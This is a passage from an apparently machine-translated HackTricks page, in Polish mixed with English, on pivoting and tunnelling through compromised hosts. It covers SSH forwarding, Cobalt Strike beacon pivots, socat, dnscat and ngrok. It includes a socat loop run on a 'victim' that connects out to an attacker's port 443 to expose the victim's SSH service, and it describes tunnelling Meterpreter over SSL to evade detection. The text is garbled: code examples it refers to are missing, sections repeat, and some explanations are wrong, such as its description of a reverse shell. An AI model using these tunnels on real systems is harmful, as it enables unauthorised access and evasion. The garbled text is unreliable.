<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
Skanowanie **ICMP** i **SYN** nie może być tunelowane przez proxy socks, dlatego musimy **wyłączyć odkrywanie pingów** (`-Pn`) i określić **skanowanie TCP** (`-sT`), aby to działało.
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
Potrzebujesz **uprawnień root na obu urządzeniach** (ponieważ będziesz tworzyć nowe interfejsy) oraz konfiguracja sshd musi zezwalać na logowanie jako root:\
1. Zaloguj się na serwerze, na którym chcesz włączyć przekierowanie.
2. Otwórz plik konfiguracyjny systemu operacyjnego odpowiedni dla Twojego serwera. Na przykład, jeśli korzystasz z systemu Linux, otwórz plik `/etc/sysctl.conf`.
3. Znajdź linijkę zawierającą parametr `net.ipv4.ip_forward` i ustaw go na wartość `1`. Jeśli nie ma takiej linii, dodaj ją na końcu pliku.
4. Zapisz plik konfiguracyjny i zamknij go.
5. Uruchom polecenie `sysctl -p`, aby załadować nową konfigurację.
6. Przekierowanie po stronie serwera zostało teraz włączone.
Pamiętaj, że włączenie przekierowania po stronie serwera może mieć wpływ na bezpieczeństwo sieci. Upewnij się, że masz odpowiednie zabezpieczenia, takie jak zapory ogniowe, aby chronić swoje systemy przed nieautoryzowanym dostępem.
SOCKS (Socket Secure) jest protokołem internetowym, który umożliwia przekierowanie ruchu sieciowego między klientem a serwerem. Działa na poziomie aplikacji i może być używany do tunelowania różnych protokołów, takich jak HTTP, FTP i SMTP. SOCKS umożliwia klientowi uzyskanie dostępu do zasobów sieciowych za pośrednictwem serwera SOCKS, który działa jako pośrednik między klientem a docelowym serwerem. Może być również używany do omijania blokad sieciowych i ukrywania prawdziwego adresu IP klienta.
W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze zespołu, a ruch jest wysyłany do serwera zespołu, a stamtąd do wskazanego hosta:portu.
- Odwrócone przekierowanie portu Beacona jest zaprojektowane do **tunelowania ruchu do Serwera Zespołu, a nie do przekazywania między poszczególnymi maszynami**.
- Ruch jest **tunelowany w ramach ruchu C2 Beacona**, włącznie z linkami P2P.
- **Nie są wymagane uprawnienia administratora** do tworzenia odwróconych przekierowań portów na wysokich portach.
W tym przypadku **port jest otwarty na hoście Beacona**, a nie na Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (nie do Serwera Zespołu) i stamtąd do wskazanego hosta:portu.
Port forwarding (przekierowywanie portów) jest techniką, która umożliwia przekierowanie ruchu sieciowego z jednego portu na innym urządzeniu. Jest to przydatne narzędzie w celu umożliwienia dostępu do usług sieciowych znajdujących się za zapory ogniowej lub routerem.
#### Local Port Forwarding (Przekierowywanie portów lokalnych)
Przekierowywanie portów lokalnych umożliwia przekierowanie ruchu sieciowego z lokalnego portu na zdalny port na innym urządzeniu. Jest to przydatne, gdy chcemy uzyskać dostęp do usług sieciowych na zdalnym serwerze, który jest niedostępny bezpośrednio z naszego lokalnego komputera.
Aby skonfigurować przekierowywanie portów lokalnych, możemy użyć narzędzi takich jak SSH lub PuTTY. Poniżej przedstawiono przykład użycia SSH do przekierowania portu lokalnego:
#### Remote Port Forwarding (Przekierowywanie portów zdalnych)
Przekierowywanie portów zdalnych umożliwia przekierowanie ruchu sieciowego z zdalnego portu na lokalny port na naszym komputerze. Jest to przydatne, gdy chcemy udostępnić usługi sieciowe znajdujące się na naszym komputerze innym użytkownikom w sieci.
Aby skonfigurować przekierowywanie portów zdalnych, możemy użyć narzędzi takich jak SSH lub PuTTY. Poniżej przedstawiono przykład użycia SSH do przekierowania portu zdalnego:
#### Dynamic Port Forwarding (Przekierowywanie portów dynamicznych)
Przekierowywanie portów dynamicznych umożliwia przekierowanie ruchu sieciowego z lokalnego portu na zdalne usługi sieciowe. Jest to przydatne, gdy chcemy przekierować cały ruch sieciowy z naszego komputera przez zdalny serwer, aby uzyskać anonimowy dostęp do Internetu.
Aby skonfigurować przekierowywanie portów dynamicznych, możemy użyć narzędzi takich jak SSH lub PuTTY. Poniżej przedstawiono przykład użycia SSH do przekierowania portów dynamicznych:
- Udostępnianie lokalnego serwera WWW na zdalnym komputerze.
- Uzyskiwanie dostępu do zdalnych usług sieciowych, które są niedostępne publicznie.
- Przekierowywanie ruchu sieciowego przez tunel SSH w celu zwiększenia bezpieczeństwa.
- Uzyskiwanie anonimowego dostępu do Internetu przez przekierowywanie portów dynamicznych.
Przekierowywanie portów jest potężnym narzędziem, które może być wykorzystane w różnych scenariuszach. Ważne jest, aby zrozumieć, jak skonfigurować i używać tej techniki w sposób bezpieczny i odpowiedzialny.
Reverse shell (odwrócony shell) to technika, która umożliwia zdalne połączenie z komputerem lub serwerem, który jest chroniony przez zaporę ogniową lub innymi mechanizmami bezpieczeństwa. W przypadku odwróconego shella, atakujący tworzy połączenie z celowym systemem, który działa jako serwer, a następnie zdalnie kontroluje ten system, korzystając z powłoki systemowej.
Aby osiągnąć odwrócony shell, atakujący musi najpierw umieścić na celu złośliwy kod, który będzie nasłuchiwał na określonym porcie. Następnie atakujący musi uruchomić program klienta na swoim własnym systemie, który połączy się z serwerem nasłuchującym na celu. Po nawiązaniu połączenia, atakujący może wykonywać polecenia na zdalnym systemie, tak jakby był fizycznie obecny na tym systemie.
Odwrócony shell jest często wykorzystywany przez hakerów podczas testów penetracyjnych, aby zdobyć zdalny dostęp do systemów i przeprowadzić dalsze ataki. Jest to również przydatne narzędzie dla administratorów systemów, którzy chcą zdalnie zarządzać swoimi systemami w celu diagnostyki i konserwacji.
Port2Port is a technique used to establish a direct connection between two network ports. It allows traffic to be forwarded from one port to another, enabling communication between different devices or networks.
To set up a Port2Port connection, you need to configure port forwarding on both the source and destination devices. This involves specifying the source port, destination IP address, and destination port.
Port2Port can be useful in various scenarios, such as accessing a service running on a remote machine, bypassing firewalls or NAT restrictions, or creating a secure tunnel for data transmission.
There are several tools and methods available for implementing Port2Port, including SSH tunneling, reverse SSH tunneling, VPNs, and proxy servers. Each method has its own advantages and use cases.
When using Port2Port, it is important to consider security implications and ensure that proper authentication and encryption measures are in place to protect the transmitted data.
Overall, Port2Port is a versatile technique that can be leveraged for various purposes, providing a convenient way to establish direct connections between network ports.
Port forwarding is a technique used to redirect network traffic from one port on a host to another port on a different host. This can be useful in various scenarios, such as accessing a service running on a remote machine or bypassing network restrictions.
One way to achieve port forwarding is through the use of a SOCKS proxy. SOCKS (Socket Secure) is a protocol that allows for the creation of a secure connection between a client and a server. By configuring a SOCKS proxy, you can establish a tunnel between two hosts and forward traffic between specific ports.
In this example, `socat` listens on port 8080 and forwards incoming TCP traffic to port 80 on the target host (`target.example.com`) through a SOCKS proxy (`proxy.example.com`). The `socksport` parameter specifies the port on which the SOCKS proxy is running (in this case, port 1080).
Similarly, you can achieve port forwarding through a SOCKS proxy using `ssh`:
In this example, `ssh` establishes a dynamic port forwarding tunnel (`-D`) through the SOCKS proxy (`proxy.example.com`). It also forwards traffic from port 8080 on the local machine to port 80 on the target host (`target.example.com`).
By using these techniques, you can easily set up port forwarding through a SOCKS proxy and redirect traffic between different hosts and ports. This can be particularly useful in situations where direct access to a specific port is restricted or unavailable.
W przypadku, gdy próbujesz uzyskać dostęp do systemu za pomocą Meterpretera, ale napotykasz na problemy z filtrowaniem ruchu sieciowego, możesz skorzystać z techniki tunelowania SSL Socat. Ta metoda pozwala na przekierowanie ruchu przez porty SSL, co umożliwia uniknięcie wykrycia i blokowania.
Aby skorzystać z tej techniki, wykonaj następujące kroki:
5. Teraz, gdy próbujesz uzyskać dostęp do systemu za pomocą Meterpretera, ruch zostanie przekierowany przez porty SSL Socat, co pozwoli na uniknięcie wykrycia i blokowania.
Pamiętaj, że ta technika może być nielegalna, jeśli nie masz uprawnienia do testowania penetracyjnego na danym systemie. Zawsze działaj zgodnie z prawem i uzyskaj odpowiednie zezwolenia przed przeprowadzeniem testów penetracyjnych.
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
Ponieważ ten plik wykonywalny będzie uruchamiany na ofierze i jest to klient ssh, musimy otworzyć naszą usługę ssh i port, aby móc nawiązać odwrotne połączenie. Następnie, aby przekierować tylko lokalnie dostępny port na port na naszej maszynie:
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Narzędzie to wykorzystuje `Dynamic Virtual Channels` (`DVC`) z funkcji usługi Remote Desktop Service w systemie Windows. DVC jest odpowiedzialne za **tunelowanie pakietów przez połączenie RDP**.
Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** przy użyciu **`mstsc.exe`**, i powinniśmy otrzymać **komunikat**, że wtyczka **SocksOverRDP jest włączona**, a będzie **nasłuchiwać** na **127.0.0.1:1080**.
Autentykuje się wobec serwera proxy i przekierowuje lokalny port na zewnętrzną usługę, którą określisz. Następnie możesz używać narzędzia swojego wyboru przez ten port.\
Teraz, jeśli na przykład ustawisz usługę **SSH** na ofierze, aby nasłuchiwała na porcie 443. Możesz się do niej podłączyć za pomocą portu 2222 atakującego.\
Możesz również użyć **meterpretera**, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222.
Odwrócony proxy stworzony przez Microsoft. Możesz go znaleźć tutaj: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
Port forwarding is a technique used to redirect network traffic from one port on a host to another port on a different host. It is commonly used in situations where direct communication between two hosts is not possible or desired.
Dnscat is a tool that allows you to create a covert communication channel by using DNS queries and responses. It can be used for various purposes, including port forwarding.
To set up port forwarding with dnscat, follow these steps:
1. Install dnscat on both the client and server machines.
2. Start the dnscat server on the machine that will receive the forwarded traffic. Use the following command:
```
dnscat2 --dns <dns_server_ip>
```
Replace `<dns_server_ip>` with the IP address of the DNS server you want to use.
3. Start the dnscat client on the machine that will send the traffic. Use the following command:
Replace `<local_port>` with the local port number you want to forward, `<remote_host>` with the IP address of the remote host, and `<remote_port>` with the port number on the remote host.
5. Test the port forwarding by connecting to the local port on the client machine. The traffic will be forwarded to the remote host and the response will be sent back through the covert DNS channel.
Port forwarding with dnscat can be a useful technique in situations where traditional port forwarding methods are not available or blocked. However, it is important to note that dnscat may raise suspicion as it involves DNS traffic, which is typically monitored closely.
Proxychains przechwytuje wywołanie `gethostbyname` w bibliotece libc i tuneluje żądanie tcp DNS przez proxy socks. Domyślnie serwer DNS, którego używa proxychains, to 4.2.2.2 (zahardkodowany). Aby go zmienić, edytuj plik: _/usr/lib/proxychains3/proxyresolv_ i zmień adres IP. Jeśli pracujesz w środowisku **Windows**, możesz ustawić adres IP **kontrolera domeny**.
Tunneling TCP allows you to forward TCP traffic from a local port to a remote port through a tunnel. This can be useful in scenarios where you need to access a service running on a remote machine that is not directly accessible from your local network.
To tunnel TCP traffic, you can use tools like `ngrok` or `ssh` with port forwarding.
##### Using ngrok
[Ngrok](https://ngrok.com/) is a popular tool for creating secure tunnels to localhost. It provides a public URL that can be used to access your local service from anywhere.
Replace `<local-port>` with the port number on your local machine that you want to forward, `<remote-host>` with the IP address or hostname of the remote machine, `<remote-port>` with the port number on the remote machine, and `<username>` with your SSH username.
2. Enter your SSH password when prompted.
3. Once the SSH connection is established, you can access the remote service by connecting to `localhost:<local-port>` on your local machine.
For example, if you forwarded port 8080 on the remote machine to port 8888 on your local machine, you can access the remote service by opening `http://localhost:8080` in your web browser.
#### Tunelowanie TCP
Tunelowanie TCP umożliwia przekierowanie ruchu TCP z lokalnego portu do zdalnego portu przez tunel. Może to być przydatne w sytuacjach, gdy musisz uzyskać dostęp do usługi działającej na zdalnej maszynie, która nie jest bezpośrednio dostępna z twojej lokalnej sieci.
Aby tunelować ruch TCP, można użyć narzędzi takich jak `ngrok` lub `ssh` z przekierowaniem portów.
##### Użycie ngrok
[Ngrok](https://ngrok.com/) to popularne narzędzie do tworzenia bezpiecznych tuneli do localhostu. Udostępnia publiczny adres URL, który można użyć do uzyskania dostępu do lokalnej usługi z dowolnego miejsca.
Aby tunelować ruch TCP za pomocą ngrok, postępuj zgodnie z poniższymi krokami:
1. Pobierz i zainstaluj ngrok ze [strony oficjalnej](https://ngrok.com/download).
2. Uruchom ngrok, wykonując poniższą komendę:
```
ngrok tcp <local-port>
```
Zastąp `<local-port>` numerem portu usługi, którą chcesz tunelować.
3. Ngrok wygeneruje publiczny adres URL, który można użyć do uzyskania dostępu do lokalnej usługi. Adres URL zostanie wyświetlony w konsoli ngrok.
Zastąp `<local-port>` numerem portu na twojej lokalnej maszynie, który chcesz przekierować, `<remote-host>` adresem IP lub nazwą hosta zdalnej maszyny, `<remote-port>` numerem portu na zdalnej maszynie i `<username>` swoją nazwą użytkownika SSH.
2. Wprowadź hasło SSH, gdy zostaniesz o to poproszony.
3. Po nawiązaniu połączenia SSH możesz uzyskać dostęp do zdalnej usługi, łącząc się z `localhost:<local-port>` na twojej lokalnej maszynie.
Na przykład, jeśli przekierowałeś port 8080 na zdalnej maszynie na port 8888 na twojej lokalnej maszynie, możesz uzyskać dostęp do zdalnej usługi, otwierając `http://localhost:8080` w przeglądarce internetowej.
One common method of exposing files is by using the HTTP protocol. This technique involves hosting the files on a web server and making them accessible through a web browser.
1. Set up a web server: Start by setting up a web server on your machine or on a remote server. There are various web server software options available, such as Apache, Nginx, or IIS.
2. Configure the web server: Once the web server is installed, configure it to serve the files you want to expose. This typically involves specifying the directory where the files are located and setting up the appropriate permissions.
3. Start the web server: Start the web server and ensure that it is running correctly. You can usually access the web server's control panel or dashboard to verify its status.
4. Access the files: Once the web server is running, you can access the exposed files by entering the server's IP address or domain name in a web browser. The files will be served as web pages, allowing you to view or download them.
It's important to note that when exposing files using HTTP, anyone with the server's IP address or domain name can access the files. Therefore, it's crucial to properly secure the server and restrict access to authorized users only.
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.